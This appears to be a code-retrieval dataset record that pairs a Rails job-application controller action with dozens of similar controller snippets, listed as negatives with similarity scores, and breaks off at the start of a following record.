format.html { redirect_to worker_all_jobs_path, notice: t('job_applications_controller.job_applications_create_error') }
end
else
@job_application = current_user.job_applications.new(job_application_params)
#Create EQ Answers
if params.has_key?("answer")
Answer.create(eq_answer_params(params["answer"]))
else
params["answers"].each do |answer|
Answer.create(eq_answer_params(answer))
end
end
#Create EQ Answers end
respond_to do |format|
if @job_application.save
@job = @job_application.job
@job_owner = @job_application.job.users.first
@applicant = current_user
UserMailer.new_job_applicant_email(@job, @job_owner, @applicant ).deliver_now
format.html { redirect_to worker_all_jobs_path, notice: t('job_applications_controller.job_applications_create_success') }
format.json { render :show, status: :created, location: @job_application }
else
format.html { render :new }
format.json { render json: @job_application.errors, status: :unprocessable_entity }
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.user_id = current_user.id\n\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to job_applications_url }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = current_user.applications.new(application_params)\n jb_id = params[:j_id]\n @application.status = 'Application Submitted'\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n @j_id = @application.job_id\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n # @application.job_id = params[:id]\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.find(params[:job_id])\n @application = Application.new(application_params)\n @application.job = @job\n @application.user = current_user\n\n if @application.save\n redirect_to developers_applications_path\n else\n redirect_to job_path(@job)\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n if @job_application.save\n flash[:notice] = \"Your application has been made successfully\"\n redirect_to jobs_path\n else\n flash[:error] = \"Error saving your application\"\n redirect_to jobs_path\n end\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @users = User.find :all\n @job_postings = JobPosting.find :all\n \n respond_to do |format|\n if @job_application.save\n flash[:notice] = 'JobApplication was successfully created.'\n format.html { redirect_to(@job_application) }\n format.xml { render :xml => @job_application, :status => :created, :location => @job_application }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @jobapp = Jobapp.new(jobapp_params)\n\n if @jobapp.save\n flash[:success] = \"Jobapp was successfully created.\"\n redirect_to action: \"index\"\n else\n @jobapps = Jobapp.all\n\n render :new, locals: {jobapp: @jobapp,jobapps: @jobapps}\n end\n end",
"def create\n @application = Application.new(params[:application])\n @application.job = Job.find(params[:id])\n respond_to do |format|\n if @application.save\n format.html { redirect_to '/', notice: 'Application was received.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user=current_user\n @job=Job.find(session[:job_id])\n @jobapplication = @user.jobapplications.build(job:@job)\n @jobapplication.name=jobapplication_params[:name]\n @jobapplication.phone=jobapplication_params[:phone]\n @jobapplication.major=jobapplication_params[:major]\n @jobapplication.coverletter=jobapplication_params[:coverletter]\n @jobapplication.status=\"Pending\"\n @[email protected]\n @jobapplication.email=current_user.email\n @[email protected]\n JobNotifier.received(@jobapplication).deliver\n respond_to do |format|\n if @jobapplication.save(jobapplication_params)\n format.html { redirect_to @jobapplication, notice: 'Jobapplication was successfully created.' }\n format.json { render :show, status: :created, location: @jobapplication }\n else\n format.html { render :new }\n format.json { render json: @jobapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jobapplication = Jobapplication.new(jobapplication_params)\n\n respond_to do |format|\n if @jobapplication.save\n @foundjob = Job.find(@jobapplication.job_id)\n @foundemployerid = @foundjob.employer_id.to_i\n @foundemployer = Employer.find(@foundemployerid)\n UserNotifier.jobapplication_submitted_email(@foundemployer).deliver\n format.html { redirect_to @jobapplication, notice: 'Jobapplication was successfully created.' }\n format.json { render :show, status: :created, location: @jobapplication }\n else\n format.html { render :new }\n format.json { render json: @jobapplication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n if @application.save\n render json: @application, status: :created, location: api_application_path(@application)\n else\n render json: @application.errors.full_messages.join(', '), status: :unprocessable_entity\n end\n end",
"def jobapplication_params\n params.require(:jobapplication).permit(:name, :email, :job_name, :phone, :status, :user_id, :job_id, :coverletter, :major)\n end",
"def jobapplication_params\n params.require(:jobapplication).permit(:job_id, :jobseeker_id, :coverletter, :status)\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @job_application.activation_key = ActiveSupport::SecureRandom.hex(4)\n \n respond_to do |format|\n if @job_application.save\n JobApplicationMailer.deliver_job_application_confirmation(@job_application)\n flash[:notice] = 'You have successfully applied for teh job.'\n format.html { render :action => \"job_application_success\" }\n format.xml { render :xml => @job_application, :status => :created, :location => @job_application }\n else\n format.html { render :action => \"error\" }\n format.xml { render :xml => @job_application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def application_params\n params.fetch(:application, {}).permit(:job_id)\n end",
"def create\n # Avoid double provisioning: previous url would be \"/provision/new?apps[]=vtiger&organization_id=1\"\n session.delete('previous_url')\n\n @organization = current_user.organizations.to_a.find { |o| o.id && o.id.to_s == params[:organization_id].to_s }\n authorize! :manage_app_instances, @organization\n\n app_instances = []\n params[:apps].each do |product_name|\n app_instance = @organization.app_instances.create(product: product_name)\n app_instances << app_instance\n MnoEnterprise::EventLogger.info('app_add', current_user.id, 'App added', app_instance)\n end\n\n render json: app_instances.map(&:attributes).to_json, status: :created\n end",
"def create\n @application = Application.new(params[:application])\n #@application.bids.build\n # @bid = Bid.new(params[:bid])\n #check_bid = @bid.valid?\n @job = Job.find_by_id(@application.job_id)\n @application.user_id = current_user.id\n respond_to do |format|\n if @application.save\n flash[:notice] = 'Application was successfully created.'\n format.html { redirect_to(applications_url) }\n format.xml { render :xml => @application, :status => :created, :location => @application }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @application.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to \"/applications/#{@application.id}/step2\", notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n if @app.save\n render json: @app, status: :created, location: @app\n else\n render json: @app.errors, status: :unprocessable_entity\n end\n end",
"def create\n @job_application = JobApplication.new(job_application_params)\n @job_application.status = \"pending review\"\n @job_application.job_seeker_id = current_user.id\n @job = Job.find_by_id(@job_id)\n @job_application.job_id = flash[:job_id].to_i\n @job_application.application_deadline = Job.find_by_id(flash[:job_id].to_i).application_deadline\n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render :show, status: :created, location: @job_application }\n else\n format.html { render :new }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def app\n jobs = App.find_by(uid: unsafe_params[:id]).\n app_series.jobs.editable_by(@context).\n eager_load(:app, user: :org, analysis: :workflow).\n includes(:taggings).\n search_by_tags(params.dig(:filters, :tags)).\n order(order_from_params).page(page_from_params).per(PAGE_SIZE)\n jobs.each { |job| job.current_user = @context.user }\n\n jobs = JobService::JobsFilter.call(jobs, params[:filters])\n\n page_dict = pagination_dict(jobs)\n\n render json: jobs, root: \"jobs\", meta: count(page_dict[:total_count]).\n merge({ pagination: page_dict }), adapter: :json\n end",
"def job_application_params\n params.require(\n :job_application\n ).permit(\n :resume,\n :job_ad_id,\n :job_seeker_id,\n :recruiter_id\n )\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @vacancy = Vacancy.find_by_id(params[:vacancy_id]);\n if user_signed_in? && !current_user.admin?\n applicant = Applicant.find_by_id(current_user.id)\n @job_application.applicant_id = current_user.id\n @job_application.vacancy_id = @vacancy.id\n end\n \n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @vacancy, notice: 'Job application was successfully created.' }\n format.json { render json: @job_application, status: :created, location: [applicant, @job_application] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission\n if @job.status?\n @application = Application.new(application_params)\n email_api = Email_api.new\n if email_api.email(@application)\n render json: @application, status: :OK\n else\n render json: @application.errors, status: :bad_request\n end\n else\n render plain: job_not_active, status: :unprocessable_entity\n end\n end",
"def application_params\n params.require(:application).permit(:job_id, :id, :current_company, :linkedin_url, :portfolio_url, :add_info,\n :gender, :race, :veteran, :disability, :resume, :application_status)\n end",
"def create\n @applicant_job = ApplicantJob.new(applicant_job_params)\n\n respond_to do |format|\n if @applicant_job.save\n format.html { redirect_to @applicant_job, notice: 'Applicant job was successfully created.' }\n format.json { render :show, status: :created, location: @applicant_job }\n else\n format.html { render :new }\n format.json { render json: @applicant_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @jobapplications = Jobapplication.all\n end",
"def new\n #@job = Job.find(params[:job_id])\n @jobapps = @job.jobapps\n @jobapp = @jobapps.new\n #@jobapp.user = current_user\n #@user = current_user\n #@jobapp.user.update_attributes(params[:user])\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobapp }\n end\n end",
"def job_application_params\n params.require(:job_application).permit(:apply_job_info, :price_per_hour, :job_id, :user_id)\n end",
"def index\n @job_applications = JobApplication.all\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: t('job_applications_controller.job_applications_update_success') }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @jobapps = Jobapp.all\n @jobapp = Jobapp.new\n end",
"def set_jobapp\n @jobapp = Jobapp.find(params[:id])\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(options)\n API::request(:post, 'escrow_service_applications', options)\n end",
"def create\n @client_application = ClientApplication.new(client_application_params)\n\n respond_to do |format|\n if @client_application.save\n format.html { redirect_to @client_application, notice: 'Client application was successfully created.' }\n format.json { render :show, status: :created, location: @client_application }\n else\n format.html { render :new }\n format.json { render json: @client_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: 'Application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_app(name, url)\n JSON.parse((@cloudvox_api[\"/applications/create.json\"].post :call_flow => {:name => name}, :agi => {:url => url}).body)\n end",
"def create\n @application = Application.new(params[:application])\n\n respond_to do |format|\n if @application.save\n format.html {\n flash[:success] = 'Application ' + @application.name + ' was successfully created.'\n redirect_to [:admin, @application]\n }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html {\n flash[:error] = 'Failed to update application.'\n render action: \"new\"\n }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url}\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jenkins_app_config = JenkinsAppConfig.new(jenkins_app_config_params)\n\n respond_to do |format|\n if @jenkins_app_config.save\n format.html { redirect_to @jenkins_app_config, notice: 'Jenkins app config was successfully created.' }\n format.json { render :show, status: :created, location: @jenkins_app_config }\n else\n format.html { render :new }\n format.json { render json: @jenkins_app_config.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(optional_params = {})\n response = Network.post(['Applications'], optional_params)\n Application.new(response)\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def create\n @application = Application.new(application_params)\n\n respond_to do |format|\n if @application.save\n current_user.application = @application\n current_user.save\n format.html { redirect_to @application, notice: 'Application successfully sent in.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activate_app\n key = Key.new\n key.host = params[:data][:host]\n key.app_dataset_id = params[:data][:app_dataset_id]\n key.api_key = params[:data][:api_key]\n key.app_name = params[:controller]\n\n existing_job_board = JobBoard.find_by(app_dataset_id: params[:data][:app_dataset_id])\n unless existing_job_board.present?\n JobBoard.create(app_dataset_id: params[:data][:app_dataset_id])\n end\n\n respond_to do |format|\n format.json { render json: { success: key.save }}\n end\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def set_jobapplication\n @jobapplication = Jobapplication.find(params[:id])\n end",
"def create\n @application = current_user.build_application(application_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, alert: 'Your application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @application }\n else\n format.html { render action: 'new' }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task_application = TaskApplication.new(task_application_params)\n\n respond_to do |format|\n if @task_application.save\n format.html { redirect_to @task_application, notice: 'Task application was successfully created.' }\n format.json { render action: 'show', status: :created, location: @task_application }\n else\n format.html { render action: 'new' }\n format.json { render json: @task_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_application = UserApplication.new(user_application_params)\n\n respond_to do |format|\n if @user_application.save\n format.html { redirect_to @user_application, notice: 'User application was successfully created.' }\n format.json { render :show, status: :created, location: @user_application }\n else\n format.html { render :new }\n format.json { render json: @user_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jobapp_params\n params.require(:jobapp).permit(:designation_id, :number_of_post, :job_type, :experience, :age, :job_location, :salary, :post_date, :last_date_to_apply, :close_date, :status, :short_description, :description)\n end",
"def job_application_params\n params.require(:job_application).permit(:candidate_id, :open_job_id, :red, :yellow, :green)\n end",
"def set_job_application\n @job_application = JobApplication.find(params[:id])\n end",
"def application_params\n params.require(:application).permit(:j_id, :job_id, :user_id, :gender, :additional_info, :portfolio_url, :linkedin_url, :current_company, :disability_status, :veteran_status, :race, :status, :resume)\n end",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def job_application_params\n params.require(:job_application).permit(:candidate_id, :job_id, :rejection_reason)\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @activity_application = @meetup_event.activity_applications.new(activity_application_params_for_create)\n\n respond_to do |format|\n if @activity_application.save\n format.html {redirect_to [@meetup_event, @activity_application], notice: 'Activity application was successfully created.'}\n format.json {render :show, status: :created, location: meetup_event_activity_application_path(@meetup_event, @activity_application)}\n else\n format.html {render :new}\n format.json {render json: @activity_application.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @employment_application = EmploymentApplication.new(employment_application_params)\n\n respond_to do |format|\n if @employment_application.save\n # alert the appropriate person at MWC\n ApplicationMailer.new_employment_application(@employment_application.id).deliver!\n\n # destroy their resume to save space on the machine\n @employment_application.resume.destroy\n @employment_application.resume.clear\n @employment_application.save\n\n format.html { redirect_to \"/\", notice: 'Your employment application was received. We will contact you shortly if we choose to proceed with your application.' }\n format.json { render :show, status: :created, location: @employment_application }\n else\n format.html { render :new, alert: 'There was an error while processing your application. Please try again.' }\n format.json { render json: @employment_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_job(job:, params: {})\n response = HTTParty.post(\"#{@host}/api/jobs\", body: {job: job, api_key: @api_key}.merge(params))\n \n return response\n end",
"def update\n @j_id = @application.job_id\n respond_to do |format|\n if @application.update(application_params)\n format.html { redirect_to @application, notice: 'Application was successfully updated.' }\n format.json { render :show, status: :ok, location: @application }\n else\n format.html { render :edit }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to job_applications_url, notice: 'JobApplication was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(application_params)\n\n if @application.save\n @application.status = Application.where(nursery_id: @application.nursery_id, date: @application.date, status: :appointed).count < @application.nursery.capacity ? :appointed : :waiting\n @application.save\n render :show, status: :created, location: @application\n else\n render json: @application.errors, status: :unprocessable_entity\n end\n end",
"def create\n @newapp = Newapp.new(params[:newapp])\n\n respond_to do |format|\n if @newapp.save\n format.html { redirect_to @newapp, notice: 'Newapp was successfully created.' }\n format.json { render json: @newapp, status: :created, location: @newapp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @newapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_application.update(job_application_params)\n format.html { redirect_to [:admin, @job_application], notice: 'Job application was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_application }\n else\n format.html { render :edit }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_job(json_payload)\n conn = @client.post do |req|\n req.url '/api/v2/job/create'\n req.headers[\"Authorization\"] = @token\n req.body = json_payload\n end\n conn.body\n end",
"def job_application_params\n params.require(:job_application).permit(:job_offer_id, :user_id, :first_name, :last_name, :current_position, :phone, :address_1, :address_2, :postal_code, :city, :country, :website_url)\n end",
"def job_application_params\n params.require(:job_application).permit(:coverletter, :job_id, :employee_id, :status, :review_employee, :rating_employee, :rating_employer, :review_employer)\n end",
"def create\n @app = current_user.apps.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, :notice => \"The application app was successfully created\" }\n format.xml { render :xml => @app, :status => :created, :location => @app }\n else\n format.html { render :action => :new }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(params[:app])\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render json: @app, status: :created, location: @app }\n else\n format.html { render action: \"new\" }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_application!(name: nil, primary_language: nil, version: nil, sku: nil, bundle_id: nil, bundle_id_suffix: nil, company_name: nil)\n # First, we need to fetch the data from Apple, which we then modify with the user's values\n r = request(:get, 'ra/apps/create/?appType=ios')\n data = parse_response(r, 'data')\n\n # Now fill in the values we have\n data['versionString']['value'] = version\n data['newApp']['name']['value'] = name\n data['newApp']['bundleId']['value'] = bundle_id\n data['newApp']['primaryLanguage']['value'] = primary_language || 'English'\n data['newApp']['vendorId']['value'] = sku\n data['newApp']['bundleIdSuffix']['value'] = bundle_id_suffix\n data['companyName']['value'] = company_name if company_name\n\n # Now send back the modified hash\n r = request(:post) do |req|\n req.url 'ra/apps/create/?appType=ios'\n req.body = data.to_json\n req.headers['Content-Type'] = 'application/json'\n end\n\n data = parse_response(r, 'data')\n handle_itc_response(data)\n end",
"def apply(application, params={})\n response = @http.post(\"/application/submit\", application.to_xml)\n check_status(response)\n response_application_parser.parse(response.body).first\n end",
"def create\n @project_application = ProjectApplication.new(project_application_params)\n\n respond_to do |format|\n if @project_application.save\n format.html { redirect_to @project_application, notice: 'Project application was successfully created.' }\n format.json { render :show, status: :created, location: @project_application }\n else\n format.html { render :new }\n format.json { render json: @project_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.create(params[:application])\n\n unless @application.new_record?\n flash[:notice] = 'Application was successfully created.'\n end\n\n respond_with @application\n end",
"def create\n megam_rest.post_appreq(to_hash)\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: \"Test app was successfully created.\" }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@job_application = JobApplication.new(params[:job_application])\n @job_application = current_user.job_applications.new(params[:job_application])\n #@job_application.job_posting_id = JobPostings.find(params[:job_posting_id]) # job_posting.id \n #@job_posting = JobPosting.find(params[:job_posting_id])\n #@job_application.job_posting_id = @job_posting.id\n #@job_application.job_posting_id = params[:job_application][:job_posting_id]\n\n respond_to do |format|\n if @job_application.save\n # send email to HR person who posted the job\n @job_posting = JobPosting.find(@job_application.job_posting_id)\n @HR_person = User.find(@job_posting.user_id)\n RecieveApplicationMailer.recieve_application_email(@HR_person, @job_application).deliver\n\n format.html { redirect_to @job_application, notice: 'Job application was successfully created.' }\n format.json { render json: @job_application, status: :created, location: @job_application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @job_applications = @job_applications_active\n end",
"def create\n @application = Oread::Application.new(application_params)\n @application.owner = current_user\n respond_to do |format|\n if @application.save\n format.html { redirect_to settings_admin_oread_applications_path, notice: 'Application was successfully created.' }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @appman = Appman.new(appman_params)\n @appman.user_id = session[:user_id]\n respond_to do |format|\n if @appman.save\n UpdateStackStatusJob.perform_later(@appman) \n format.html { redirect_to @appman, notice: 'Appman was successfully created.' }\n format.json { render :show, status: :created, location: @appman }\n else\n format.html { render :new }\n format.json { render json: @appman.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n manifest = JSON.parse(params[:manifest])\n manifest['provider'] = params[:provider]\n puts \"Repository type: #{params[:repository_type]}\"\n @client.app_create(params[:id], params[:repository_type])\n @client.app_add_manifest(params[:id], manifest)\n\n respond_to do |format|\n format.html { redirect_to app_path(params[:id]), notice: 'App was successfully created.' }\n #if @client.app_create(params[:id], manifest)\n # format.html { redirect_to app_path(params[:id]), notice: 'App was successfully created.' }\n # # FIXME format.json { render json: @app, status: :created, location: app_path(params[:id]) } \n #else\n # format.html { render action: \"new\" }\n # format.json { render json: @app.errors, status: :unprocessable_entity } # FIXME\n #end\n end\n end",
"def create\n create_params = application_params\n if applicant_signed_in?\n create_params[:applicant_id] = current_applicant.id\n end\n @application = Application.new(create_params)\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to @application, notice: \"Application was successfully created.\" }\n format.json { render :show, status: :created, location: @application }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n IO.popen([\"mail\", \"-s\", \"New Application request\", \"[email protected]\"], \"w\") {|f|\n f.puts @app.name;\n f.puts @app.email;\n f.puts @app.phone;\n f.puts @app.date;\n f.puts @app.employment;\n f.puts @app.currently;\n f.puts @app.looking_for;\n f.puts @app.experience;\n f.puts @app.ideas;\n f.puts @app.linkedin;\n f.puts @app.heard_from;\n f.close_write;\n }\n\n gb = Gibbon::API.new\n \n name_array = app_params[:name].split\n first_name = app_params[:name]\n last_name = \"\"\n if name_array.length > 1 && name_array[0].length > 0 && name_array[1].length > 0\n first_name = name_array[0]\n last_name = name_array[1]\n end\n puts \"subscribing new user to list\"\n \n gb.lists.subscribe({:id => \"75aba6bef3\", :email => {:email => app_params[:email]}, :merge_vars => {:FNAME => first_name, :LNAME => last_name}, :double_optin => true})\n\n\n respond_to do |format|\n if @app.save\n format.html { redirect_to root_path, notice: \"A lovely application! We'll be in touch soon!\" }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @application = Application.new(params[:application])\n p @params\n user = User.find_by_user(params['requester'])\n puts user\n\n @application['user_id'] = user.id\n @application['status'] = 0\n @application['apply_date'] = Time.now\n\n\n @application['to'] = params[:application]['to'].join(\",\")\n\n respond_to do |format|\n if @application.save\n format.html { redirect_to :action => \"index\", notice: 'Application was successfully created.' }\n format.json { render json: @application, status: :created, location: @application }\n else\n format.html { render action: \"new\" }\n format.json { render json: @application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: 'Test app was successfully created.' }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to @job_application, notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.744032",
"0.7427608",
"0.7419197",
"0.730825",
"0.7208124",
"0.7051559",
"0.69155604",
"0.6884683",
"0.6787227",
"0.67019594",
"0.66984814",
"0.65622455",
"0.6494502",
"0.6434999",
"0.64301753",
"0.6423644",
"0.63641804",
"0.6353813",
"0.63487315",
"0.6311471",
"0.6290718",
"0.62808913",
"0.62540656",
"0.62301344",
"0.6224925",
"0.6204672",
"0.61821604",
"0.6143952",
"0.61417705",
"0.6138041",
"0.61274844",
"0.6125649",
"0.6111638",
"0.6098816",
"0.6094857",
"0.609001",
"0.6088976",
"0.6081037",
"0.607504",
"0.6072776",
"0.60699284",
"0.606126",
"0.6052705",
"0.6049731",
"0.6014687",
"0.6010999",
"0.6010999",
"0.6010999",
"0.6010999",
"0.6010999",
"0.6010999",
"0.6010999",
"0.6008048",
"0.6002501",
"0.5999584",
"0.5999584",
"0.5993201",
"0.5987025",
"0.5971635",
"0.59683925",
"0.5961471",
"0.59521955",
"0.59453064",
"0.5939012",
"0.5932819",
"0.5919348",
"0.5919348",
"0.5918598",
"0.5907682",
"0.59065425",
"0.5894352",
"0.58912444",
"0.5891152",
"0.5884726",
"0.5880703",
"0.58741885",
"0.58669424",
"0.5852247",
"0.5850806",
"0.58233",
"0.5817221",
"0.5817221",
"0.5807425",
"0.5797931",
"0.57967234",
"0.5795577",
"0.5791995",
"0.5790112",
"0.5787077",
"0.5785056",
"0.5777336",
"0.5774881",
"0.5769589",
"0.575726",
"0.57566774",
"0.575667",
"0.5748625",
"0.57459563",
"0.5724259",
"0.5712276"
] | 0.70089036 | 6 |
PATCH/PUT /job_applications/1 PATCH/PUT /job_applications/1.json | def update
respond_to do |format|
if @job_application.update(job_application_params)
